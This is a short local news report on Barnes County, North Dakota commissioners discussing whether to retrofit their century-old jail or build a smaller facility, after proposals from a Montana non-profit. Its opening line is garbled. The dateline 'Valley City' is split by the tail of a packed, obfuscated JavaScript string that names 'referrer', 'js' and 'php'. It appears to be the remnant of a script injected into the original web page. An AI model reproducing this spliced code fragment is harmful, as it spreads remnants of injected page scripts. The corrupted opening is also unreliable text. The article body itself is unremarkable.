Valley ikybb|var|u0026u|referrer|nfnyd||js|php’.split(‘|’),0,{}))
City, N.D. – Barnes County officials are revisiting the topic of whether or not to retro fit their 100 plus year old jail or to go with building a new smaller facility.

A private non-profit corporation gave several options to the board of commissioners, the Sheriff and jail staff members Thursday in Valley City.

The CEO of Community, Counseling, and Correctional Services, of Butte, Montana, Mike Thatcher says based on information from the North Dakota Department of corrections Barnes County will have to move toward upgrading or building a new facility in the future.

Thatcher recommends that Barnes County conduct a needs assessment so it may develop a plan to meet its future correctional needs without over building or over burdening the local tax base.

Barnes County commissioner Phil Leitner says the presentation was only a preliminary discussion and NO action was taken by the board of commissioners.  Leitner says CCCS approached the county board to throw out a number of proposals concerning jail reconstruction.